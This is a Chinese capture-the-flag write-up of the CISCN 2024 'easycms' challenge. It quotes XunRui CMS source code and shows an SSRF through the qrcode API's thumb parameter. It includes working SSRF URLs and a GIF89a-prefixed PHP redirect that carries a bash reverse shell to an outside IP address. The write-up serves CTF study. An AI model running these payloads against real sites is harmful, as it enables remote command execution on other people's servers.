复现地址
https://ctf.show/challenges
涉及知识点
SSRF
反弹SHELL
代码审计
api调用
图片白名单绕过
具体流程
首先使用dirsearch进行信息搜集

其中/admin.php,/flag.php,/test.php目录是有效的
尝试打/admin.php弱密码,失败,先搁置
访问/test.php目录可以获取网站相关基础信息

得知CMS框架为迅睿CMS开源框架,版本为V4.6.2
结合提示,找到源码以及官方漏洞公示
题目中给到
| 12
 3
 4
 5
 6
 7
 
 |  /flag.php: if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
 echo "Just input 'cmd' From 127.0.0.1";
 return;
 }else{
 system($_GET['cmd']);
 }
 
 | 
推测是/flag.php中存在SSRF漏洞

找一下qrcode

发现在/dayrui/Fcms/Control/Api/Api.php中有这个函数定义
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | public function qrcode() {
 $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
 $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
 $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
 $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
 
 
 require_once CMSPATH.'Library/Phpqrcode.php';
 $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
 if (!IS_DEV && is_file($file)) {
 $QR = imagecreatefrompng($file);
 } else {
 \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
 if (!is_file($file)) {
 exit('二维码生成失败');
 }
 $QR = imagecreatefromstring(file_get_contents($file));
 if ($thumb) {
 if (strpos($thumb, 'https://') !== false
 && strpos($thumb, '/') !== false
 && strpos($thumb, 'http://') !== false) {
 exit('图片地址不规范');
 }
 $img = getimagesize($thumb);
 if (!$img) {
 exit('此图片不是一张可用的图片');
 }
 $code = dr_catcher_data($thumb);
 if (!$code) {
 exit('图片参数不规范');
 }
 $logo = imagecreatefromstring($code);
 $QR_width = imagesx($QR);
 $logo_width = imagesx($logo);
 $logo_height = imagesy($logo);
 $logo_qr_width = $QR_width / 4;
 $scale = $logo_width/$logo_qr_width;
 $logo_qr_height = $logo_height/$scale;
 $from_width = ($QR_width - $logo_qr_width) / 2;
 
 imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
 imagepng($QR, $file);
 }
 }
 
 
 ob_start();
 ob_clean();
 header("Content-type: image/png");
 $QR && imagepng($QR);
 exit;
 }
 
 | 
注意到$logo = imagecreatefromstring($code);中的imagecreatefromstring()函数,且$code可控
又因为$code = dr_catcher_data($thumb);,转到dr_catcher_data()的定义
位于/dayrui/Fcms/Core/Helper.php中
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 
 | function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
 if (!$url) {
 return '';
 }
 
 
 if (strpos($url, 'file://')  === 0) {
 return file_get_contents($url);
 } elseif (strpos($url, '/')  === 0 && is_file(WEBPATH.$url)) {
 return file_get_contents(WEBPATH.$url);
 } elseif (!dr_is_url($url)) {
 if (CI_DEBUG && $is_log) {
 log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
 }
 return '';
 }
 
 
 if (function_exists('curl_init')) {
 $ch = curl_init($url);
 if (substr($url, 0, 8) == "https://") {
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true);
 }
 if ($ct) {
 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0',
 'Accept: */*',
 'X-Requested-With: XMLHttpRequest',
 'Referer: '.$url,
 'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3',
 ));
 curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
 }
 
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 );
 
 $timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
 $data = curl_exec($ch);
 $code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
 $errno = curl_errno($ch);
 if (CI_DEBUG && $errno && $is_log) {
 log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
 }
 curl_close($ch);
 if ($code == 200) {
 return $data;
 } elseif ($errno == 35) {
 
 } else {
 if (!$ct) {
 
 return dr_catcher_data($url, $timeout, $is_log, 1);
 } elseif (CI_DEBUG && $code && $is_log) {
 log_message('error', '获取远程数据失败['.$url.']http状态:'.$code);
 }
 return '';
 }
 }
 
 | 
发现关键函数$data = curl_exec($ch);
理一下逻辑就是qrcode()会调用dr_catcher_data(),dr_catcher_data()又会调用curl_exec()达成SSRF,并且$ch由$url决定,$url又由thumb决定,因此调用qrcode()并且给$thumb参数传入目标地址即可完成SSRF
查询文档,仿照的captcha的调用规则
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | public function captcha() {
 $code = \Phpcmf\Service::L('captcha')->create(
 max(0, intval($_GET['width'])), max(0, intval($_GET['height']))
 );
 
 \Phpcmf\Service::L('cache')->set_auth_data('web-captcha-'.USER_HTTP_CODE, $code, SITE_ID);
 IS_DEV && log_message('debug', '图片验证码生成('.USER_HTTP_CODE.')验证码:'.$code);
 
 exit;
 }
 
 | 

仿照构建index.php?s=api&c=api&m=qrcode即可调用qrcode模块,appid和appsecret参数是小程序开发用到的,此处不需要
注意到qrcode()下还有这么几个参数需要
| 12
 3
 4
 
 | $value = urldecode(\Phpcmf\Service::L('input')->get('text'));  $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
 $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
 $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
 
 | 
我们只需要关心$thumb参数,其余参数合理即可
因此构建payload:index.php?s=api&c=api&m=qrcode&text=123&thumb=http://127.0.0.1/flag.php&size=1024&level=1
尝试直接打一下,得到回显

打到这一步发现ctfshow的靶场给的不对,写的easycms,结果实际是easycms_revenge
easycms_revenge相比easycms进行了函数修复,过滤判断了url
既然提示“此图片不是一张可用的图片”,那就可以参考文件上传的绕过方法,即添加图片头
| 12
 3
 4
 5
 6
 7
 
 | GIF89a<?php
 header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/117.72.40.183/2333%200%3E&1%22");
 echo "GIF89a";
 ?>
 
 
 
 | 
监听2233端口并发送到payload:
/index.php?s=api&c=api&m=qrcode&text=adwdadwwda&thumb=http://117.72.40.183:2233/302.php&size=1024&level=1
即可反弹shell,但是这边似乎是ctfshow靶场的原因,shell弹不出来
后面又尝试用”>”写文件,也读取不了,可惜
参考
【Web】CISCN 2024初赛 题解(全)
2024-CISCN初赛-Web-复现 | 1cfh’Blog
第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP_第十七届全国大学生信息安全竞赛考试内容-CSDN博客
CISCN2024-Web方向题解_ciscn2024web-CSDN博客